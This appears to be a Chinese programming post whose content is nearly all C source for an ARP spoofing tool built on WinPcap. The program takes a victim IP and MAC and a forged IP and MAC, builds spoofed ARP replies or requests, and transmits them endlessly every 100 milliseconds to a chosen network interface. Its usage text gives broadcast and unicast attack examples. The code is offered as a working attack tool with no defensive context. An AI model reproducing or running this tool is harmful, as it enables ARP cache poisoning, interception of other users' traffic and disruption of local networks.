winpcap+vc开发arp欺骗工具

#include "arpcap.h" #define HARDWARE_ADDR "000C296C192B" int main(int argc,char* argv[]) { //WinExec("arp.exe -s 192.168.1.1 08-10-17-cc-36-84",SW_SHOW); //printf("IP:192.168.150."); //scanf("%d",&Ip); int i=sizeof(unsigned short); if(argc!=5) { printf("usage:arp victimIP victimMac fakeIP fakeMac\n"); printf("Example:\n"); printf(" 广播:arp 255.255.255.255 FFFFFFFFFFFF 192.168.150.20 000C295FA042\n"); printf(" 单播:arp 192.168.150.21 000C295FA044 192.168.150.20 000C295FA042\n"); return 1; } char *dIP=(char *)malloc(sizeof(argv[1])); dIP=argv[1]; char *dMac=(char *)malloc(sizeof(argv[2])); dMac=argv[2]; char *sIP=(char *)malloc(sizeof(argv[3])); sIP=argv[3]; char *sMac=(char *)malloc(sizeof(argv[4])); sMac=argv[4]; //char cIP; InitDevice(); InitPacket(dIP,dMac,sIP,sMac); int size = sizeof(arp); /*static long slp = 0;*/ printf("启动完毕...\n发送中...\n"); while (1) { if (pcap_sendpacket(ahandle,(unsigned char*)&arp,size) != 0) { printf("发送失败!\n"); } Sleep(100); } system("pause"); return 1; } //初始化设备 void InitDevice() { if (pcap_findalldevs(&alldev,errbuf) == -1) { printf("获得设备失败!\n%s",errbuf); exit(0); } int i = 0; for(device=alldev; device; device=device->next) //打印出系统里所有的网卡 { printf("%d. %s", ++i, device->name); if (device->description) printf(" (%s)\n", device->description); else printf(" (No description available)\n"); } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return; } int inum = 0; printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //输入一个你选择的网卡号 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); pcap_freealldevs(alldev); return; } for(device=alldev, i=0; i< inum-1 ;device=device->next, i++); //从刚才输入的网卡号找到适当的网卡指针 ahandle = pcap_open_live(device->name,65535,1,1000,errbuf); if (!ahandle) { printf("打开设备失败!\n%s",errbuf); FreeDevice(); exit(0); } } //结束释放 void FreeDevice() { pcap_freealldevs(alldev); } //构造数据包 void InitPacket(char *DIP,char *DMac,char *SIP,char *SMac) { memset(&arp,0,sizeof(arp)); //WriteHard(&arp.eth.dst_mac[0],DMac); WriteHard(&arp.eth.src_mac[0],SMac); //WriteHard(&arp.eth.src_mac[0],HARDWARE_ADDR); arp.eth.eth_t = htons(ETH_ARP); arp.arp.arp_hdr = htons(ARP_HARDWARE); arp.arp.arp_pro = htons(ETH_IP); arp.arp.arp_hln = 6; arp.arp.arp_pln = 4; if(strcmp(DMac,"000000000000")==0) { WriteHard(&arp.eth.dst_mac[0],"FFFFFFFFFFFF"); arp.arp.arp_opt = htons(ARP_REQUEST); } else { WriteHard(&arp.eth.dst_mac[0],DMac); arp.arp.arp_opt = htons(ARP_REPLY); } WriteHard(&arp.arp.arp_sha[0],SMac); char RemoteIP[1024]={0}; //wsprintf(RemoteIP,"192.168.150.%d",Ip); arp.arp.arp_spa = inet_addr(/*"192.168.1.92"*/SIP); WriteHard(&arp.arp.arp_tha[0], DMac); arp.arp.arp_tpa = inet_addr(DIP); } //写入MAC地址 void WriteHard(unsigned char *Hard,char* Src) { char hchr=0; char lchr=0; int j=0; int rst; Src = strupr(_strdup(Src)); for (int i=0;i<(int)strlen(Src);(++i)++) { lchr = Src[i]; hchr = Src[i+1]; lchr = Hex(lchr); hchr = Hex(hchr); rst = lchr * 16 + hchr; Hard[j] = rst; j++; } } //十六进制转换 char Hex(char Src) { if (Src >= 'A' && Src <= 'Z') return (Src-55); else return (Src-48); }